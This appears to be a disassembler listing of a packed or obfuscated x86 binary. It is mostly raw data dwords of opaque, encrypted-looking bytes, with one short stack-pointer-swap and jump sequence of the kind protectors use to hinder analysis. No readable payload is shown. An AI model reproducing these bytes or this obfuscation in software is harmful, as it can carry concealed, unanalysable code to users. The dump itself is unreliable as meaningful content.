dd 0A8176F8Dh, 7D02D543h, 9A7BAE00h, 34B4E017h, 5C820FD8h
dd 4EA5759Dh, 0B0AF6D0Bh, 0F854A456h, 0AB23459Eh, 344AAD9Ch
dd 7BF6ED5Ah, 0B6A19F63h, 4F8A7436h, 0B10D6CE7h, 0C466DA86h
dd 9233DA63h, 1571886Fh, 0B30B6CF7h, 6B302399h, 886F9232h
dd 0EEDD9BB0h, 0F2754334h, 6CF4037Bh, 17DF449Dh, 0DF40BC0Eh
dd 55000000h, 7F579651h, 7E26DCDh, 1A748AE9h, 0BEAC08F0h
dd 23C9C525h, 9D594688h, 0B20C6275h, 70CC22C5h, 9D581AE7h
dd 65C13975h, 0A8BB99C7h, 759D57E3h, 0ABFF08F0h, 0B391CF33h
dd 0B15E38B0h, 8A66EE26h, 0A06FD34Fh, 7189548Ah, 0AF0BF715h
dd 7633E671h, 20184984h, 8AE90DC6h, 8DBF1B73h, 0C422A2ADh
dd 7EECEA03h, 7AF27582h, 38B0B31Ch, 4536845Eh, 0B755E45Ah
dd 0F056h, 7E589500h, 0BB135691h, 0F4D229CCh, 328CE80Bh
dd 4C4AA245h, 0B1658A83h, 77F25D39h, 342F98F6h, 886BD4B2h
dd 46AB1472h, 1800DD6h, 1A977BAEh, 0B69B51E3h, 1571880Ch
dd 0C6C50BF7h, 279FD836h, 0CE79D505h, 0CFBD32Bh, 0BEB993E9h
dd 0D92413Dh, 1E759DD9h, 83FF47DEh, 12C07A5Dh, 9957FB86h
dd 0E8442011h, 36B4381Fh, 0D329B258h, 215A9DFBh, 0AC5B87A5h
dd 0D2895FBDh, 583E817Eh, 0F6D0837h, 0FC8C8B7h, 8F6A95F1h
dd 89F71571h, 30772B43h, 61EE0E97h, 30474296h, 4187F1E7h
dd 0BEFE72E1h, 0F28AB58Fh, 22449F07h, 3D2FA7C3h, 13D661DDh
dd 6E6886DDh, 0ED7654B2h, 7492220h, 0CD3CCB37h, 9CFAD42Ah
dd 9EA9255Bh, 354B8CF2h, 0AFCBAE59h, 47A235D7h, 0E11ADD4Fh
dd 0DD1347E5h, 1CD234EEh, 605E9CADh, 0A01E5C97h, 34B8Ah
dd 936C0000h, 5F37B42Ch, 0FAD42AADh, 116D8F50h, 8F0760FBh
dd 24A2DA9Dh, 413DBD06h, 0FAD410ABh, 16708F50h, 8E0863F4h
dd 0E568199Ch, 89000063h, 89562434h, 4C681E6h, 83000000h
dd 348704EEh, 3C895C24h, 4F766824h, 0C890000h, 97685024h
dd 5807F54Eh, 8AFF5405h, 58C7892Ah, 2A0AE781h, 0E7813341h
dd 5AC76842h, 19BC781h, 0C7817170h, 82A086DEh, 240C8B54h
dd 8304C483h, 3C8904ECh, 8418F24h, 592434FFh, 8B04C483h
; ---------------------------------------------------------------------------
cmp al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5503D9
; ---------------------------------------------------------------------------
dw 87F0h
dd 5EF87C1Eh, 75CD5C86h, 4D290DBAh, 10A636B8h, 0FFC50306h
dd 9DADACE0h, 0ECC17C4Ch, 6ACBE62Ah, 511E355Eh, 9104BC27h
dd 0EE4CA13Dh, 6E09C63h, 0C0941966h, 0EF13F761h, 942A945Eh
dd 0BDBFCA36h, 9E842h, 6B5A0000h, 0F77A1C2Dh, 0FF5CB3Fh
dd 589h, 0F7816600h, 565A3C0Bh, 14E9h, 0D3A6EB00h, 983BF21h
dd 5F940A66h, 65456B72h, 0C9D8A2ECh, 0C2815B27h, 6319h
dd 10E9h, 29AE2200h, 0EF108D68h, 2FC19596h, 46F5B6EBh
dd 1890B952h, 0BF0F0000h, 60328BC3h, 0F616060h, 6161FBBFh
dd 3DE8C681h, 0D4806075h, 21F681D1h, 664FA3D0h, 814442BBh
dd 49BA46EEh, 0EB816610h, 3289FE2Fh, 0EA83C78Bh, 7830F02h
dd 50000000h, 6CF8166h, 4A4A5854h, 0C1B70F57h, 1E98158h
dd 0F000000h, 1A85h, 12EFB800h, 30E9394Bh, 0E3000000h
dd 0FA67209Fh, 0ACE45AFFh, 8B00BF28h, 0F0DEA6Fh, 18Ch
dd 8AE9F800h, 0B8FFFFFFh, 0B418A160h, 0F4615F19h, 0ED60E2Bh
dd 891D649Bh, 8D2E4E5Ah, 10A8BB8Dh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 1F9F280Ch
dd 4D8D893Fh, 6A060B17h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 520BC353h, 0ACEC2F2Ch
dd 1985C710h, 28060B01h, 6A00005Ch, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0F6EC350h
dd 100985C7h, 60Bh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 830F7EC3h, 6, 65B9EA81h
dd 0B5FF4846h, 60B0ED9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 0D0C35242h, 0CB18509h, 95FF060Bh, 60B0AC5h
dd 2870Fh, 0F38B0000h, 95FF006Ah, 60B32DDh, 0DEBC08Bh
dd 0AB71B69Fh, 0FF311A5Bh, 1B547F0Bh, 0C508EB14h, 9C797E7Fh
dd 0E977E733h, 0DA8h, 10AAC268h, 0D651E906h, 1668FFFAh
dd 0E90610ACh, 0FFFAD647h, 10AD9968h, 0D63DE906h, 0B468FFFAh
dd 0E90610AEh, 0FFFAD633h, 10B02A68h, 0D629E906h, 5568FFFAh
dd 0E90610B2h, 0FFFAD61Fh, 10B40668h, 0D615E906h, 0F068FFFAh
dd 0E90610B4h, 0FFFAD60Bh, 4AA9A0F2h, 0E47F4A5Dh, 12C1F80Bh
dd 4D96ADF5h, 0FE6558A0h, 0A7FD1047h, 55AA5B98h, 0A1A8B68h
dd 0B2C72033h, 0BDAF5C87h, 84B45D29h, 0FD63D2C5h, 176DD5DEh
dd 75BBA428h, 0D488270Fh, 2B9FF3D7h, 92AFF421h, 0B18C9974h
dd 93A8F4A2h, 0C5CE3F49h, 26C00488h, 9F80D35Eh, 0AA1E64BDh
dd 618ECABAh, 0C334B3Ah, 88C7D1B8h, 0D9D4CE04h, 2E38767Eh
dd 0A387DE68h, 619B2A8Eh, 2C353FC8h, 48E1h, 0BCC47B00h
dd 0B5B700C4h, 4B7A1CEDh, 0B43E1D8Ch, 0D6FA49Ah, 0D140E476h
dd 5EBD9F05h, 2195A8F1h, 2D0589EDh, 3A60CB5Dh, 0E635E088h
dd 5A2367EBh, 0D4CE7845h, 0C70A23D9h, 1C272C35h, 0B5000001h
dd 189FB406h, 0AC5A781Bh, 0BB33BDB6h, 0C3941DCFh, 1DCDB92Dh
dd 7842C394h, 0EFE62E9Fh, 0B9CD618Bh, 0EC3941Dh, 0E6331A34h
dd 25DA01EBh, 7E0AA2BEh, 0F1C39456h, 0C2354E89h, 8C5EB25Ch
dd 59AC1461h, 4CA0E468h, 0E36A84F8h, 0D5E43399h, 23C92D61h
dd 26AAA7F2h, 1DCC44E2h, 625FA808h, 0EBD62F9Eh, 7ECF2367h
dd 37251938h, 6987BEC6h, 0D2EF38E1h, 7C3C9D01h, 0EA3FC394h
dd 45C34704h, 0D222A328h, 0B0A387FBh, 6D814257h, 0C394D719h
dd 0CCB094EEh, 0A14BD0ACh, 9FC9080Dh, 1EC53DBDh, 0ADDB0092h
dd 0CC8CFF10h, 987F0BDBh, 8AF03A61h, 273C405Ch, 9CBB135h
dd 0CBA4446Ch, 43A98DBCh, 0F2AC4E52h, 0DB1DC2D3h, 3AEB086Ch
dd 0A10DFE6h, 798C6A67h, 0AFF3689h, 0A1C0000h, 0B0C72033h
dd 66B55281h, 71F886Bh, 0B6CA3B38h, 86ED548Fh, 31221D67h
dd 61F2CFD4h, 9E457084h, 0CA292471h, 0C7832BC1h, 48C584B7h
dd 0DADE03F9h, 7C8471FBh, 23CCA741h, 4D5D20D6h, 0CE9FCF77h
dd 0BD8B09EAh, 0D8764B50h, 0B9A3B8C4h, 1DC3872Fh, 8529C394h
dd 0C3941DC1h, 0BF837C46h, 0A04DDF91h, 39CD7B5Ah, 0BD9F0598h
dd 82C66EF8h, 53A60CBh, 917A2BE6h, 81E50686h, 2E92E867h
dd 60774606h, 5CB2C73Ah, 967DC52Fh, 15F9DDE3h, 9D615CA4h
dd 1C6E7FB5h, 0FFCC73F9h, 8BE78DA0h, 3FCEE806h, 0C7832BB5h
dd 483A6067h, 0C36AD472h, 0EE2C356Ah, 0EDh, 6DD5DE76h
dd 41352914h, 0C9BD8098h, 9418B819h, 0A56EBBC3h, 6BE64501h
dd 47F0CA3Ch, 0B1D26DEAh, 6EFCD07Eh, 0B05E69BFh, 0F0CDD637h
dd 3336F56Ah, 0E3D97476h, 0CFADCD45h, 0B0EA6B4h, 5142608Ch
dd 9BA5CA4h, 93CAD32Bh, 0D433DD31h, 7AF27CEEh, 3A60830Eh
dd 0D1E66281h, 98DD81A6h, 8DE98AA4h, 7E0AA2EFh, 0F13A608Eh
dd 2F479589h, 446D1E56h, 0D0B4384Ah, 573072FFh, 7C46C563h
dd 6BB15CEEh, 877E054h, 0B412ACB5h, 62EB0579h, 0D33C271Eh
dd 1379F6C9h, 288C6B23h, 9AB65DAh, 0BEC80000h, 64B35C87h
dd 12618E55h, 0B3CB243Fh, 62B6578Ch, 2A318053h, 6DF6C9D3h
dd 9D467B80h, 0CA292470h, 66FDC8DDh, 0ABDF5795h, 3CC584B1h
dd 0DADED74Dh, 1EC78FBh, 1377DBF6h, 320F18F5h, 98A7FD28h
dd 4334534h, 7C435920h, 0D99AB488h, 0F8D5DE3Bh, 0F050A514h
dd 0ADB6AAA7h, 4A90ABF1h, 9F24BB22h, 57AC59BDh, 84A2E66Ah
dd 67CFB387h, 3A60E866h, 0B5FE2FBDh, 0D5E83198h, 0E46C793Bh
dd 6CD0EF39h, 0ED1CFE28h, 0C42C3501h, 63Ch, 0E30D6F20h
dd 0C9D3BA95h, 0EACE02F6h, 216DEC00h, 0F8C2BD9Fh, 59708372h
dd 937791F5h, 60EE3353h, 8B7AE63Ah, 9AFE427Dh, 3CEAE533h
dd 78916B7Ah, 512C3500h, 604h, 760D6FBFh, 0B6D25AE4h, 39C3941Dh
dd 214527C1h, 0BD9F2F58h, 9D9AD95h, 3A60FC79h, 0C4D13CACh
dd 0DF874E89h, 36C043Dh, 0CEC2C3E5h, 2C34CE1Fh, 0AAA7F01Dh
dd 0BD44E226h, 5C8h, 0E32D465Bh, 1DA9DD51h, 0EB30C394h
dd 0F71169D6h, 9C4ED5A7h, 9F053D08h, 67AE5FBDh, 84A2E66Ah
dd 0E2DF2687h, 1847A98Eh, 9110D8C4h, 201F65F7h, 0EA04785Ch
dd 752B431Ah, 575923CEh, 4A8E724Dh, 61608456h, 0EED04020h
dd 0A51A2094h, 974F6C4Dh, 4458F678h, 0B5392338h, 0DA4CBAD8h
dd 168755ADh, 0C223300Dh, 5B3F5FB1h, 0CFC6C295h, 5C7F23A7h
dd 7A5EA4A2h, 5A6DC906h, 0A4AE1E89h, 828E3h, 4334700h
dd 0EAE72EDFh, 0BC8D9C09h, 13046A7h, 0D0EF35D2h, 4EADB403h
dd 3FE80B4Ah, 0EF18DBE6h, 58B5AE99h, 18E1724Fh, 0B0285CD0h
dd 0D0BFC584h, 0B71EBD68h, 0F4FAED88h, 0D16F711h, 0FFE4C30h
dd 9C20CEF9h, 7DF17B00h, 0BD84F8DEh, 5A816BAFh, 4FF2BCE2h
dd 0DF98B639h, 7B0A4757h, 0A29FE63Ah, 4F86FADEh, 6AE75BEh
dd 3A7B0A42h, 0A4004A8h, 0F3C73A7Bh, 19DA3E04h, 3B1A1E8Fh
dd 0C9D57357h, 2B43A9B2h, 3A7B0A57h, 0BF6ED228h, 12845F6Ah
dd 3A7B0B62h, 0F60FB5C3h, 2F0347CBh, 532B9E3Dh, 167CCF61h
dd 858E7FF8h, 1C6CC448h, 293C84A1h, 15FA0Bh, 0B4C12E35h
dd 0ADC15399h, 3A7BE1D9h, 56BA54AEh, 7BD1EE9Eh, 6461233Ah
dd 845F6ABFh, 2D879D08h, 2519EDD8h, 1E2378C1h, 1140BF0h
dd 0DE950000h, 0A514F8D5h, 94ABF153h, 488EC20h, 941D582Ch
dd 0F9D421C3h, 7C98C715h, 221F66B8h, 0F7D58815h, 2C374559h
dd 0B805B63Eh, 1C66427Bh, 632965D3h, 0D7A89A86h, 70Dh
dd 3221186Ah, 6CF7C2D5h, 9A597083h, 352E156Dh, 66FDC0D8h
dd 2F7588DFh, 0DD22C310h, 829273E0h, 2A7FA84Bh, 3537C41Fh
dd 84B3D5B1h, 75EB5AC5h, 14F8D5DEh, 0FA605FA5h, 1D80C468h
dd 3307C394h, 63B55215h, 8F598654h, 0C8BC305Bh, 5FC394F4h
dd 0C3F3DC7Bh, 0FA2BCC7Ah, 0A6479CA9h, 2E9F6352h, 0FD891DEAh
dd 72C394BFh, 14FA3D3h, 0E9CD17BEh, 5D5701F5h, 6E51AB50h
dd 5FE97BF5h, 9447B3D7h, 6CE34C3h, 0C3944742h, 0E953FDC5h
dd 32414B40h, 769h, 7AC8F700h, 50000000h, 0E60ED5DEh, 0C3941DE2h
dd 743EB65h, 88C3941Dh, 967A5EB2h, 942D2E5Eh, 24A1E3C3h
dd 4D9FAAFFh, 0EDDFABC3h, 595E3C6Bh, 89A79B64h, 0D8F701EEh
dd 0ED8DFC74h, 4B493C6Bh, 744355BAh, 0D6DE29EFh, 0B7C10BFFh
dd 941D4B3Fh, 48E6DCC3h, 3084B3C5h, 58414C46h, 7CE2714Ch
dd 0C3942506h, 0D7228297h, 0B8A286FAh, 0DE08374Dh, 4004C07Ch
dd 0FEB9E732h, 0C801FFFFh, 318h, 0F8D5DE50h, 1DBCDC14h
dd 8CA6C394h, 0B28F9801h, 677C33A8h, 9AC41238h, 4E89F782h
dd 133D16CEh, 0A162B750h, 33EB9F17h, 67CC394h, 9433BACEh
dd 0D1350DC3h, 3395C56Dh, 314C394h, 6EF84236h, 943382C6h
dd 4C3D05C3h, 0DEDE0839h, 3FB7A5BEh, 0BD84AA9Ch, 85A95EDh
dd 0EB866238h, 597B81Fh, 0A2F40000h, 485F48ABh, 0FE0DFA79h
dd 0AFF710C3h, 5EA24390h, 1E45FC67h, 599AA5FFh, 896A57ACh
dd 263D081Ch, 5281BCC9h, 5F2B43A9h, 0D0C584ADh, 0D5DEFB61h
dd 708372F8h, 0F25BAF59h, 0A34C97AEh, 0AEA3EE56h, 5182E6DAh
dd 0ED516CB4h, 75D9E43Ch, 4F54418Bh, 0D3D2D472h, 7F465C49h
dd 0B499B78Bh, 682516Ch, 1D1470F4h, 0A79BC394h, 0D769789h
dd 41533240h, 0C9000002h, 52FCCDDCh, 5E1EBDECh, 303A764Fh
dd 6C0F8FB9h, 8D9805D7h, 0E4A6224Ah, 0D129C394h, 273509FDh
dd 94E4FB8Fh, 0D8764CC3h, 0B7BEF070h, 0E93FC67Ah, 70836ADEh
dd 879DF559h, 0C3D17406h, 71FCEC2h, 0F90A3352h, 0D2000001h
dd 0E5770C6Fh, 0F65AAA5Bh, 90BE92AFh, 941D80C4h, 4F3307C3h
dd 7A4EC9E7h, 239840C6h, 9E23ABA1h, 694BE5D4h, 0D329D45Ch
dd 68B118ECh, 65D77155h, 335161C4h, 1BFEDh, 838E7F00h
dd 405034B8h, 0E3D7C285h, 6FFB618Fh, 76E5770Ch, 0DEA88E04h
dd 59133D6Eh, 1E3990CFh, 0DFE3A873h, 502DA531h, 58A2C394h
dd 3227CF4h, 0B5EFC67Ah, 5B29C038h, 81003351h, 98000001h
dd 5231E6Dh, 770C6F1Fh, 1D0D41E5h, 0B882C394h, 4E421CD4h
dd 0D5CFC67Ah, 0E0920D8h, 5D203351h, 0B8000001h, 889B354Dh
dd 95E95DB1h, 0D5DE857Bh, 1DE2E60Eh, 1D65C394h, 0D98C3339h
dd 0B706EB88h, 812D52B6h, 17B2E876h, 5FA811F9h, 43741094h
dd 87FBC394h, 96E6B0A3h, 47AD6556h, 785C5C3Dh, 0ABF77AF2h
dd 7248BD9Fh, 0DCEB3DE8h, 3E199E23h, 0E6005A09h, 0B282C262h
dd 85573A61h, 84EB0918h, 7DE6302Bh, 0AD072105h, 9441E820h
dd 20682C35h, 0F4000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh
dd 60CB3050h, 2EBFE53Ah, 35C733DAh, 991E2Ch, 0DEE60000h
dd 8372F8D5h, 0A6AA447Bh, 2E92ADF7h, 0AB1F2A7Fh, 5F84B1C2h
dd 941866D7h, 81BCC9C3h, 0E3780452h, 7012F579h, 0AF934266h
dd 754850BDh, 64B362EEh, 4E52BB55h, 709CF877h, 0C743865Fh
dd 36C00h, 407F8B00h, 16237293h, 0F8D120CDh, 4D748A7Bh
dd 1C237996h, 926970C7h, 43ACB78Eh, 33DC073Ah, 9C09EAE5h
dd 54A5BE8Bh, 0AF741094h, 0CFBC584h, 0DDADE94h, 941DED99h
dd 46EE62C3h, 0C3941D02h, 6559BD85h, 0C90411FEh, 691D9123h
dd 0FEC3941Dh, 0D7E23584h, 0DE46BE39h, 0A514F8D5h, 72FE6550h
dd 0A10B0BCDh, 37D1D692h, 948BDEAFh, 0F78C10C3h, 0B864DB65h
dd 0C7251CD1h, 2B32C26Ch, 4BD9F67h, 5D8F2C3Eh, 0FBD55786h
dd 8B09EA04h, 14F8D5DEh, 0F7C2D7C6h, 2C21CF03h, 2975EEDBh
dd 7F4A5D53h, 0D05DD11Bh, 8BD9F19h, 92BC8B9Dh, 6E9F4DB5h
dd 0BFF2928h, 60E7ABDBh, 0AB3A7E3Ah, 3506B851h, 41912Ch
dd 6F7F0000h, 5AE4760Dh, 71E34BE5h, 83ADCD3Eh, 9F9942F3h
dd 63D72BBDh, 616F83C3h, 0DBF2023Ah, 477E8677h, 0E9F91F3h
dd 48AC93E9h, 8F98C795h, 0B94855BCh, 8E1F99B7h, 367CD37Ah
dd 0EFFE2Ch, 0BD060000h, 0A4C8F01Eh, 34D2588Bh, 0DF1CCD9h
dd 0F379445Ch, 0EECD9E4Ch, 98B6C857h, 81BCC9B0h, 6C59AA5Bh
dd 8A9F4EC2h, 41A12549h, 0DC26C394h, 3CE97BF8h, 0A62ED8E9h
dd 0C39444F7h, 0CA102D76h, 0CF42ED95h, 0DF0D8EDEh, 94663357h
dd 0A04EB4C3h, 4C5845C7h, 37BF8D71h, 0C3946653h, 5C8AEED4h
dd 43A9A4F1h, 81754C52h, 4FAFA34Dh, 0A0C4162Dh, 0BD9F51B9h
dd 14A5E45Bh, 5AA73BE7h, 886BAFACh, 0A7B5CEAEh, 6C0DFE0Fh
dd 0E10B4F44h, 34D2EF34h, 0E314BBAh, 0A5C95BD5h, 3073CF21h
dd 5BB25CA6h, 0ADF17E41h, 5E8C69EAh, 1BB13F4h, 0CED80000h
dd 74836CF7h, 22719E45h, 0C3DB342Fh, 728667FCh, 3A219043h
dd 7DE6D923h, 0ADB68B90h, 0DA193440h, 76EDD82Dh, 0BBCF6785h
dd 0CC584A9h, 0DADEC7BDh, 7A8F78FBh, 8E18944Fh, 941D6266h
dd 739DE5C3h, 0E30D6F8Dh, 9943A79Ah, 0A428196Ch, 2C90AFF5h
dd 905AF4E8h, 9F05BD1Ch, 0E62EDFBDh, 0F8C241EFh, 0C1D7C614h
dd 20CE02F6h, 60CB3454h, 32B3E13Ah, 35C72FDEh, 0A71A2Ch
dd 0DEE20000h, 0A514F8D5h, 549C605Fh, 0C39418E5h, 0DD063344h
dd 66EAE730h, 7FED7606h, 60D10EF7h, 589BFF42h, 77E57E1Eh
dd 0D3E238E5h, 4B91F06Fh, 0D7AD802Bh, 0CFF60AF3h, 0D1575521h
dd 0A298446Dh, 0D64803B8h, 2B736944h, 0AA444178h, 33DD3158h
dd 0B7FE2FB9h, 9BE16C9Ah, 4A4EBFA4h, 291293D0h, 280CEFEDh
dd 6B60A1DFh, 1BFC568Ch, 0D1h, 76EDE42Eh, 0A0B38E99h, 0DE053447h
dd 9EAE931h, 0BAB9849Ch, 0E339D41Bh, 91E607DCh, 4E56B7ACh
dd 0F603EC77h, 79F318DBh, 84A991F5h, 31A716C5h, 78FBDADEh
dd 944F7A8Fh, 0F8D5DE6Ch, 0CC708372h, 26AA8EBBh, 1DCC44E2h
dd 78263D08h, 3972E924h, 70C37353h, 0A55E2A3Ah, 0E9D1C394h
dd 62B667F5h, 0A387BEC6h, 0A55135B9h, 0ECD6C394h, 8B04A842h
dd 9CBD843Ch, 67EBE633h, 7F465A23h, 0EF53B78Bh, 1BD8F53Eh
dd 0D8AC99EAh, 0A690408h, 7776ACBDh, 0AB48858Eh, 0A81C297Ah
dd 369AB9C1h, 591A410Bh, 0A5244335h, 0DAEBCD7Bh, 3440E035h
dd 0B23E2519h, 0EB053443h, 50241162h, 14FFh, 7A806D00h
dd 7593F75Bh, 4150BD8Fh, 0CABE859Dh, 0C37492F6h, 0FDD4DE55h
dd 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h
dd 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 4568CF7Bh, 89000041h
dd 8952242Ch, 4C281E2h, 83000000h, 148704EAh, 0C895C24h
dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 81242C89h
dd 4ECh, 243C8900h, 66700CBFh, 0EF814704h, 300D31CBh, 7862EF81h
dd 814F1D4Dh, 0D27FCCE7h, 0A0EF811Eh, 890FF19Ch, 8B545FF9h
dd 0C483242Ch, 8BB5304h, 81000000h, 67025EBh, 81EB0107h
dd 67025C3h, 5B0B8907h, 5D2434FFh, 8B04C483h, 8957240Ch
dd 4C781E7h, 83000000h, 3C8704C7h, 0B8E95C24h, 0C8FFFAC8h
dd 6DE6E444h, 10B5E6B8h, 0FFC50306h, 59C3B2E0h, 31A157Eh
dd 63ACF444h, 0F66AFF40h, 1F42947Dh, 0D807724Bh, 0FBCD8225h
dd 8A453A28h, 6CA10606h, 0B649C26Dh
dd 3D2ED7Ah, 0CF7174Dh, 16C0DE43h, 446A7954h, 7C3B3F7Dh
dd 0D24BDD5Ch, 5EDC6C6Fh, 6055A81Bh, 4A80B164h, 0EBE24E13h
dd 80781B22h, 28DC7636h, 3D65BE78h, 0B26CDF64h, 0A63C4A67h
dd 0E40CDB4Ah, 7DE2086Fh, 0E9C08B4Dh, 10h, 0BE7DF403h
dd 1DB6E394h, 5C7EE93h, 0E7AED871h, 5BDBD83h, 7500060Bh
dd 0D1BD8309h, 60B29h, 53501974h, 0FCB8C08Bh, 89000003h
dd 0B2A3585h, 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh
dd 17740006h, 0FCB85350h, 89000003h, 0B2A3585h, 99D8D06h
dd 0FF060DB0h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 0E9C6C356h, 0Dh, 4FAF4E5Dh
dd 0FF16577Dh, 1D330446h, 56006A0Eh, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 103C8F79h
dd 8B97B604h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 0AA2E12E5h, 0C158D36Fh, 0CB816614h
dd 0BD837C1Eh, 60B0B19h, 63840F01h, 0F000000h, 1181h, 0B8C0F00h
dd 0E9000000h, 6, 6262B61Eh, 0BD832296h, 60B0E31h, 3F850F00h
dd 80000000h, 0BD8335EFh, 60B2715h, 7D840F00h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 9EBEC357h, 8C212EABh, 7E91703h, 88000000h
dd 0C014DF08h, 1FE9C200h, 0E9000004h, 0Eh, 64315148h, 5B23C443h
dd 0BAB11C52h, 0FE81h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0DA9009C3h, 0FD2A22Eh
dd 286h, 66D88B00h, 0F381D68Bh, 57FF71EFh, 0C167F56h, 4892CCFDh
dd 0B4F2C01Fh, 1803057Bh, 0F5E6641Ah, 0D548FB31h, 0F98C4FE2h
dd 6379CCB9h, 0B81B1A24h, 21F2CAEDh, 4EA60A5Eh, 61D9FBD5h
dd 5DEF4210h, 0B4F2CACDh, 3B9986B5h, 0E2394029h, 6334A969h
dd 3CA5D56Ah, 5D484531h, 0B4F2CF39h, 0B4F222E8h, 35AFCADEh
dd 0A44A2082h, 0E7F2A0B1h, 0B4F2C933h, 77A9EAEDh, 90AE43ADh
dd 90B64B7Fh, 0B4F2DFB9h, 77A189DEh, 0B31AC5F2h, 0E4F2CAB7h
dd 13618E0Eh, 31FD4E72h, 0B4F2CAF0h, 11D119FAh, 0DEA8F7B1h
dd 0B71A9ADEh, 94F2CA6Fh, 3DAA09EFh, 35F6EE9Fh, 0A8F6EEA9h
dd 0F4F2CAF6h, 9833092Bh, 966082F9h, 3F87EFA1h, 79144AAFh
dd 0B4FE2227h, 4E1ACADBh, 672E70F7h, 383822C1h, 59491599h
dd 0EEA0F2BCh, 7548AC8Eh, 0B4985ACAh, 0B4F122E6h, 0EDD2CADBh
dd 0F87B932Eh, 0F073CED2h, 0B4EFCE5Fh, 0E5B3CABDh, 0CDE8591Dh
dd 2D972A5Ch, 3FB8300Fh, 5F73AC08h, 0B5FD859Dh, 0DE0CEEBAh
dd 0B71A987Bh, 94F2CABDh, 3DA80984h, 35F6EE3Bh, 0A1F6EEF3h
dd 0F6F2CADBh, 5C1A09BFh, 0B1F27DAEh, 0B4F2C877h, 5CA3CAD7h
dd 0B4F2CADDh, 0ED31934Fh, 0B0D6863Eh, 0B0D68E5Ah, 0B4F2CAFBh
dd 10319BB7h, 0BC794AFAh, 5CA0CAD7h, 0B4F2CADDh, 0EE31904Fh
dd 0B0D69E3Eh, 0B0D68E5Ah, 0B4F2CAF0h, 0A93198B4h, 3F5B4A7Fh
dd 0FBD1D2FBh, 6D4DC5FFh, 0D22A4109h, 0DE0E823Ch, 0B71A9FDBh
dd 94F2CAEDh, 3DAF09ABh, 35F6EE17h, 0A3F6EEF9h, 0F1F2CADEh
dd 0BCA4093Ah, 7F7252FAh, 108870D0h, 0B54AB00Eh, 0DEF2CAF6h
dd 0B71A9D7Bh, 94F2CABDh, 3DAD0981h, 35F6EE13h, 0AFF6EEF3h
dd 0F3F2CADBh, 3FCB09BAh, 0BC164CC0h, 0BF1A24E0h, 36F2CABDh
dd 333377B8h, 695989B6h, 48A58D17h, 54449080h, 3D9579BDh
dd 0B81AEEFAh, 56F2CA7Bh, 5085BAF5h, 0D26594F5h, 5DE7D297h
dd 0B4F2CAB1h, 59877437h, 0D2A8F26Dh, 34FD137Ah, 0B4F2CA77h
dd 0B4F44FB2h, 3FFDCADEh, 0B4F2CA6Fh, 0BBF60B41h, 0B4F23C5Eh
dd 0E2F2A0EDh, 0B4F2C91Eh, 77ACEA7Bh, 908643E3h, 90B64BDAh
dd 0B4F2D76Bh, 77A48CB7h, 0E75BF22Bh, 3C05230h, 6D48E6E8h
dd 0BB93D29Ah, 0B4F2C834h, 0ED0640DEh, 5CA3CA05h, 0B4F2CAB4h
dd 0ED3193FBh, 0B0D68664h, 0B0D68E77h, 0B4F2CA67h, 8A319BFCh
dd 39F82328h, 31E43745h, 342A75B8h, 31FDA2E2h, 0B4F2CBC9h
dd 0B070C5A1h, 0D2F2CA7Bh, 0EFDD5106h, 0D2F3B355h, 351BB7D5h
dd 0B4F2CA48h, 0B170C55Bh, 0EF2CAECh, 0F6290D73h, 0CAC4FBCh
dd 0B4F3CCADh, 0B498CADEh, 0B4F1223Ah, 0E9D2CAB7h, 0D87B9718h
dd 0F073CEC9h, 0B4EFCED2h, 0E1B7CA7Bh, 2C26CE7Eh, 5267377Dh
dd 5DDF02D3h, 0B4F2CAB2h, 0ACB44172h, 0B41E23CEh, 36FDCAF6h
dd 0B4F2CA7Eh, 0B9F7AB06h, 0B440239Fh, 0B498CA6Fh, 0B4F122E1h
dd 0EAD2CADBh, 0C07B942Eh, 0F073CED2h, 0B4E7CE5Fh, 0E2B4CABDh
dd 0D2A0691Dh, 0ED0A10E4h, 5CA5CADDh, 0B4F2CAD8h, 0EB3195CDh
dd 0B0D6B67Fh, 0B0D68EFAh, 0B4F2CAA0h, 0D2319D99h, 0F555BFF7h
dd 35022A8Fh, 0B4FF228Fh, 48D4CAEDh, 2985F565h, 0E39133C0h
dd 0E62F7E51h, 9732185Fh, 0EFA98B13h, 0BF8B49D1h, 0F176C524h
dd 0DEF2CAEDh, 0B71A9BF6h, 94F2CA7Bh, 3DAB09E4h, 35F6EE92h
dd 0A8F6EE2Bh, 0F5F2CAB7h, 71A8098Ah, 0DC7C4D0Dh, 5D6B028Eh
dd 0B4F2CA6Bh, 2423BDEEh, 33A38CACh, 6CDCBAC6h, 648CAC72h
dd 0CAC4F1Ch, 0B4F3CCFDh, 6E79CAF6h, 0E6F2A033h, 0B4F2C955h
dd 77A8EADEh, 90A64335h, 90B64BB3h, 0B4F2D3DFh, 77A088EDh
dd 38896326h, 35948C06h, 34F2F54Eh, 0EC4BC914h, 39DE7766h
dd 0A44CBF32h, 324F47DDh, 8FF4DA51h, 84F5BE0Eh, 0F33B1B74h
dd 0B4983F56h, 0B4F1228Dh, 0EFD2CA6Fh, 0E87B9174h, 0F073CEFFh
dd 0B4E9CEC9h, 0E7B1CAF6h, 0AF956DB8h, 1F4DF384h, 6F73AC27h
dd 0B498AB2Dh, 0B4F122E5h, 0EED2CADBh, 0E07B902Eh, 0F073CED2h
